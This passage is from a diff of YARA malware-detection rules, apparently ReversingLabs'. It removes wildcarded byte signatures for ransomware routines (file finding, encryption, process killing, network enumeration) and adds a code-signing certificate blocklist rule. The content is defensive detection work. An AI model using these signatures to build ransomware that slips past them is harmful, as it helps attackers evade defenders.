89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D - } - $encrypt_files_p2 = { - 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? - ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? - ?? 48 83 C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 - ?? ?? ?? ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? - ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 29 - C2 48 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 39 85 ?? ?? ?? ?? 0F 8D ?? ?? ?? - ?? 48 89 E0 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 85 C0 48 0F 48 C2 48 C1 F8 - ?? 48 C1 E0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 43 ?? 48 89 85 ?? ?? - ?? ?? 48 89 D8 49 89 C4 41 BD ?? ?? ?? ?? 48 89 D8 49 89 C6 41 BF ?? ?? ?? ?? 48 89 - D8 48 83 C0 ?? 48 C1 E8 ?? 48 C1 E0 ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D 44 24 ?? 48 83 - C0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? - ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 41 89 D9 4C 8B 85 ?? ?? ?? ?? 48 89 E9 48 8D - 55 ?? 48 8B 85 ?? ?? ?? ?? 44 89 4C 24 ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 - 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 2B 85 - ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 - } - $encrypt_files_p3 = { - 48 89 DA 48 8B 85 ?? ?? ?? ?? 48 01 D0 48 89 85 ?? ?? ?? ?? 90 48 89 F4 E9 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 48 63 C8 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 - 89 C1 E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 89 E9 48 8D 55 ?? 48 8B 85 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48 - 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 85 ?? - ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 F0 ?? 84 - C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 55 ?? 48 01 C2 48 89 E9 48 8B 85 ?? ?? ?? - ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? - ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D 95 ?? ?? - ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83 - C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? - ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 - } - $encrypt_files_p4 = { - C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 - ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 - C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? - FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D - 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 F4 48 89 C3 EB ?? 48 89 C3 48 8D - 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? - ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? - ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8D A5 ?? ?? - ?? ?? 5B 5E 41 5C 41 5D 41 5E 41 5F 5D C3 - } - $find_files_p1 = { - 55 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? - ?? ?? ?? 48 8D 45 ?? BB ?? ?? ?? ?? 48 89 C6 EB ?? 48 89 F1 E8 ?? ?? ?? ?? 48 83 EB - ?? 48 83 C6 ?? 48 85 DB 79 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 - 0F 95 C0 84 C0 74 ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? - ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? - 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 - ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? - ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? - ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - E9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 - D2 48 C1 E2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 - } - $find_files_p2 = { - 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48 - 8D 85 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D - 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? - 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? C6 05 ?? - ?? ?? ?? ?? 48 8D 5D ?? 48 81 C3 ?? ?? ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? - 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 - C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? - ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 - C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? - ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C6 48 8D 5D ?? 48 81 C3 ?? ?? - ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 48 89 - F0 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5B 5E 5D C3 - } - $check_processes = { - 55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? EB ?? 8B 45 ?? 48 98 48 8D 14 C5 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8B 1C 02 48 - 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 85 - C0 0F 95 C0 84 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? B8 - ?? ?? ?? ?? 48 83 C4 ?? 5B 5D C3 - } - $kill_file_processes_p1 = { - 55 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF C0 - 0F 11 45 ?? F3 0F 6F 4D ?? 0F 11 8D ?? ?? ?? ?? F3 0F 6F 55 ?? 0F 11 95 ?? ?? ?? ?? - F3 0F 6F 5D ?? 0F 11 9D ?? ?? ?? ?? F3 0F 6F 65 ?? 0F 11 A5 ?? ?? ?? ?? 0F B7 45 ?? - 66 89 85 ?? ?? 00 00 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? - ?? 48 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 41 B9 - ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 - 84 C0 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C - 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 41 B9 ?? - ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? - 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 C0 48 69 F0 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF - D0 49 89 F0 BA ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? - 48 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C 8B 8D ?? ?? - ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 - } - $kill_file_processes_p2 = { - 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? - 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? - 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? - ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 - 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 - 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 8B 00 39 85 ?? ?? ?? ?? 75 ?? - 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 48 - 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 - 8B 00 41 89 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? - ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 85 ?? ?? ?? ?? - 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? - ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 - 8D 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 63 C8 48 8D 45 ?? 48 8D 55 - ?? 49 C7 C1 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? - ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $check_processes ) and ( all of ( $kill_file_processes_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLEVERCYBER LTD" and pe.signatures [ i ] . serial == "50:d0:8f:3c:9b:f8:6f:ba:52:cf:59:2b:4f:e6:ea:cf" and 1518134400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ransomexx : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7C7Fc3616F3157A28F702Cc1Df275Dcd : INFO FILE { meta: - description = "Yara rule that detects Ransomexx ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5e62660d-2696-56c7-9322-fed6ce9d36ff" - date = "2020-11-26" - modified = "2020-11-26" + id = "78d2adb9-fc1c-5f48-80cb-3f1bd12b6ba5" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ransomexx.yara#L1-L147" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14950-L14966" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "27b4132b7f16cafc40687e96a552ce59cc24ebf7679575680f170e3beee8a0a9" + logic_hash = "c2dcea21c7a3e3aef6408f11c23edbce6d8f655f298654552a607a9b0caabb28" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ransomexx" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B F4 B3 ?? 85 F6 74 ?? C6 46 ?? ?? B0 ?? 66 C7 06 ?? ?? 88 5E ?? 88 - 46 ?? 8B C7 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8B C6 8D 78 ?? 8A 08 40 84 - C9 75 ?? 2B C7 8D 84 10 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? - ?? 8B F0 89 75 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E 5B 8B E5 - 5D C3 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 89 45 ?? 85 C0 74 ?? C6 40 ?? ?? 88 18 88 - 58 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 49 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 - ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F - 84 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A - } - $find_files_p2 = { - 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B C7 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 70 ?? - 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 8B 1D ?? ?? ?? ?? 2B C6 8D 94 10 ?? ?? ?? ?? 52 6A - ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 56 FF - 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? - ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 6A ?? 56 FF 15 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 FF 15 ?? ?? ?? ?? 85 - C0 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 6A ?? - FF D3 50 FF 15 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E - 5B 8B E5 5D C3 - } - $find_files_p3 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B C7 - 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D B4 00 ?? ?? ?? ?? 8D 86 - ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? - ?? ?? 56 57 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? - 51 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8B 3D ?? ?? ?? ?? FF D7 83 F8 ?? - 0F 84 ?? ?? ?? ?? FF D7 E9 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B - 4D ?? 56 51 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 56 8D 94 24 - ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? 66 83 38 ?? 74 ?? 68 ?? ?? ?? ?? 50 FF D7 85 C0 75 ?? FF 05 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 39 05 ?? ?? ?? ?? 0F 84 - ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 54 24 ?? 52 FF D7 85 C0 74 ?? 8D 44 - } - $find_files_p4 = { - 24 ?? 50 8D 4C 24 ?? 51 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B 0D ?? - ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 54 24 ?? 52 8D 44 24 ?? 50 FF D7 85 C0 74 ?? - 8D 4C 24 ?? 51 8D 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B - 0D ?? ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? 8B 44 24 ?? 0B 44 24 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? 6A ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? - 80 3B ?? 75 ?? 80 7B ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 04 17 53 - 50 FF 15 ?? ?? ?? ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 14 0F 68 ?? ?? - ?? ?? 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 07 68 ?? ?? ?? ?? 53 51 FF 15 ?? ?? - ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 17 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 - ?? 50 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 - 5B 8B E5 5D C2 - } - $enum_network_resources = { - 55 8B EC 8B 4D ?? 83 EC ?? 8D 45 ?? 50 51 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? - FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 57 90 8B 4D ?? 8D - 55 ?? 52 56 8D 45 ?? 50 51 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 8D 64 24 ?? F6 46 ?? ?? 74 ?? F6 46 ?? ?? 74 ?? - 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 94 00 ?? ?? ?? ?? 52 - 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 85 C0 74 ?? - 8B 16 0F B7 0A 66 89 08 83 C2 ?? 83 C0 ?? 66 85 C9 75 ?? FF 05 ?? ?? ?? ?? 8B 56 ?? - 83 E2 ?? 80 FA ?? 75 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 C6 ?? 3B 7D ?? 72 - ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 8B 4D ?? 51 FF 15 - ?? ?? ?? ?? 5E 5B 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 